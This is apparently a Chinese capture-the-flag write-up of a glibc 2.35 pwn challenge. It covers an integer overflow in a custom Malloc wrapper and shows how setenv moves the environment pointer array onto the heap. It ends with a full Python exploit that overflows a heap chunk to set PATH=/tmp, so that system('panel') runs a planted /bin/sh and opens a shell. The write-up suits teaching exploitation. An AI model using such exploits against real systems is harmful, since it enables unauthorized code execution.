前言
本题目触发了一个知识盲区,setenv函数的细节,会让环境变量指针数组进入堆中,如果存在堆中漏洞,可能可以篡改环境变量
题目情况
Draeger ordered Thanatos, destroyer under the Golden Fang flag, to annihilate our defence base with a super lazer beam capable of destroying whole planets. Bonnie and his crew go for a sabotage-suicide mission in order to stop Thanatos before it's too late.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Stripped: No
libc 是 2.35 版本的
逆向分析
main:
int __fastcall main(int argc, const char **argv, const char **envp)
{
setup();
welcome();
while ( 1 ) // 申请0x18内存并释放
{
action_menu();
switch ( read_option() )
{
case 1LL:
enter_command_control(); // 可以申请内存输入内容
break;
case 2LL:
quantum_destabilizer(argc, argv); // 可以打开文件,写入内容
break;
case 3LL:
combat_enemy_destroyer(argc, argv); // 调用exit
case 4LL:
intercept_c2_communication(argc, argv);
break;
case 5LL:
puts("[\x1B[31m!\x1B[39m] Aborting the sabotage...");
exit(0);
default:
continue;
}
}
}
这里的read_option和往常不一样,存在内存分配释放行为:
__int64 read_option()
{
char *s; // [rsp+0h] [rbp-10h]
__int64 v2; // [rsp+8h] [rbp-8h]
s = (char *)Malloc(16LL);
printf("> ");
fgets(s, 16, stdin);
v2 = strtol(s, 0LL, 0);
Free(s);
return v2;
}
这里的Malloc和Free都是自定义的:
_QWORD *__fastcall Malloc(__int64 size)
{
_QWORD *ptr; // [rsp+18h] [rbp-8h]
ptr = malloc(size + 8);
if ( !ptr )
return 0LL;
*ptr = size;
return ptr + 1;
}
void __fastcall Free(__int64 a1)
{
free((void *)(a1 - 8));
}
然后是选项1:设置环境变量,自己输入环境变量的大小和值
unsigned __int64 enter_command_control()
{
__int64 v1; // [rsp+8h] [rbp-18h] BYREF
char *value; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Access to the control panel of the enemy ship is protected through a privileged ACCESS code of unpredictable size");
if ( !getenv("ACCESS") )
setenv("ACCESS", "DENIED", 1); // 设置环境变量
printf("[\x1B[34m*\x1B[39m] ACCESS code length: ");
__isoc99_scanf("%lu", &v1);
value = (char *)Malloc(v1); // 整数溢出
// 只要能申请出0x20的chunk,就能覆盖环境变量指针
if ( !value )
{
puts("[\x1B[31m!\x1B[39m] Connection is lost, quantum noise is disrupting the transmission.\n");
exit(-1);
}
printf("[\x1B[34m*\x1B[39m] ACCESS code: ");
readBuffer(value, v1); // 读取内容到缓冲区
// 可能溢出
setenv("ACCESS", value, 1); // 设置环境变量,超级大
system("panel"); // 执行system函数
return __readfsqword(0x28u) ^ v3;
}
选项2:获取环境变量,获取失败就设置一个,然后写入文件到/tmp目录下
unsigned __int64 quantum_destabilizer()
{
size_t v0; // rax
int fd; // [rsp+4h] [rbp-6Ch]
char *string; // [rsp+8h] [rbp-68h]
char *v4; // [rsp+10h] [rbp-60h]
char s[8]; // [rsp+18h] [rbp-58h] BYREF
char dest[32]; // [rsp+20h] [rbp-50h] BYREF
char buf[40]; // [rsp+40h] [rbp-30h] BYREF
unsigned __int64 v8; // [rsp+68h] [rbp-8h]
v8 = __readfsqword(0x28u);
if ( !getenv("ACCESS") )
{
string = (char *)Malloc(24LL); // 申请内存,0x31 chunk
strcpy(string, "ACCESS=DENIED");
putenv(string); // 申请内存保存environ变量的值,修改environ指针
}
printf("[\x1B[34m*\x1B[39m] Quantum destabilizer mount point: ");
fgets(s, 8, stdin); // 输入8字节,不能有.和/
if ( strchr(s, '.') || strchr(s, '/') )
{
puts("[\x1B[31m!\x1B[39m] Thanatos spotted the intrusion, you are shot with a deadly lazer beam.");
exit(-1);
}
v4 = strchr(s, '\n');
if ( v4 )
*v4 = 0;
memset(dest, 0, sizeof(dest));
strcpy(dest, "/tmp/");
strcat(dest, s); // /tmp/{s}
fd = open(dest, 66, 511LL); // 创建打开输入的文件
if ( fd == -1 )
{
puts("[\x1B[31m!\x1B[39m] Quantum destabilizer failed to penetrate the shield.");
exit(-1);
}
printf("[\x1B[34m*\x1B[39m] Quantum destablizer is ready to pass a small armed unit through the enemy's shield: ");
fgets(buf, 32, stdin); // 输入32字节
v0 = strlen(buf);
write(fd, buf, v0); // 写入文件
close(fd);
puts("[\x1B[32m+\x1B[39m] Quantum destabilizer successfully destablized Thanatos shield.");
penetrated_the_shield = 1; // 设置全局变量
return __readfsqword(0x28u) ^ v8;
}
其他选项没啥用
利用分析
整数溢出
程序的缺陷在于这里的选项1,可以自定义大小申请内存,而Malloc:
_QWORD *__fastcall Malloc(__int64 size)
{
_QWORD *ptr; // [rsp+18h] [rbp-8h]
ptr = malloc(size + 8);
if ( !ptr )
return 0LL;
*ptr = size;
return ptr + 1;
}
这里申请的是size+8,size是64位整数,这里就存在整数溢出的问题
从而可以在选项1里,完成堆溢出写的操作
setenv 分析
这个程序的要点在于setenv函数的作用,该函数会调用__add_to_environ函数:
int __add_to_environ(const char *name, const char *value, const char *combined,
int replace)
{
char **ep;
size_t size;
...
/* We have to get the pointer now that we have the lock and not earlier
since another thread might have created a new environment. */
ep = __environ; // 获取环境变量指针
size = 0;
if (ep != NULL) // 存在环境变量,查看是否有同名的
{
for (; *ep != NULL; ++ep)
if (!strncmp(*ep, name, namelen) && (*ep)[namelen] == '=')
break;
else
++size;
}
...
if (*ep == NULL || replace)
{
char *np;
...
np = malloc(varlen);
...
#ifdef USE_TSEARCH
memcpy(np, new_value, varlen);
#else
memcpy(np, name, namelen);
np[namelen] = '=';
memcpy(&np[namelen + 1], value, vallen);
#endif
}
/* And remember the value. */
STORE_VALUE(np);
}
...
*ep = np;
}
UNLOCK;
return 0;
}
该函数会申请内存,将原本environ变量的值复制过来,然后把新的环境变量指针添加进去,然后设置environ变量指针指向新的地点
利用思路
先使用选项2写入/bin/sh到/tmp/panel
由于输入选项函数会申请内存然后释放,此时的内存布局是:
0x55fbb08b5290 0x0000000000000000 0x0000000000000021 ........!.......
0x55fbb08b52a0 0x000000055fbb08b5 0xa8955881f1490543 ..._....C.I..X.. <-- tcachebins[0x20][0/1]
0x55fbb08b52b0 0x0000000000000000 0x0000000000000031 ........1.......
0x55fbb08b52c0 0x0000000000000018 0x443d535345434341 ........ACCESS=D
0x55fbb08b52d0 0x0000004445494e45 0x0000000000000000 ENIED...........
0x55fbb08b52e0 0x0000000000000000 0x00000000000001a1 ................
0x55fbb08b52f0 0x00007ffce76b9f76 0x00007ffce76b9f90 v.k.......k.....
...
0x55fbb08b5470 0x000055fbb08b52c8 0x0000000000000000 .R...U..........
0x55fbb08b5480 0x0000000000000000 0x0000000000020b81 ................ <-- Top chunk
此时environ变量指向0x55fbb08b52f0,这里最后一个指针指向前面的chunk:0x000055fbb08b52c8
只要能申请0x20 chunk内存的同时完成溢出,就能修改该指针的值,从而篡改环境变量
刚好配合Malloc的整数溢出,能够完成这件事
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# write file to /tmp/panel
sla(b"> ",b"2")
sla(b": ",b"panel")
sla(b": ",b"/bin/sh\x00")
# int overflow
sla(b"> ",b"1")
sla(b": ",str(0xffffffffffffffff).encode())
sla(b": ",cyclic(32)+ b"PATH=/tmp\x00")
ia()
总结
整数溢出,setenv函数的细节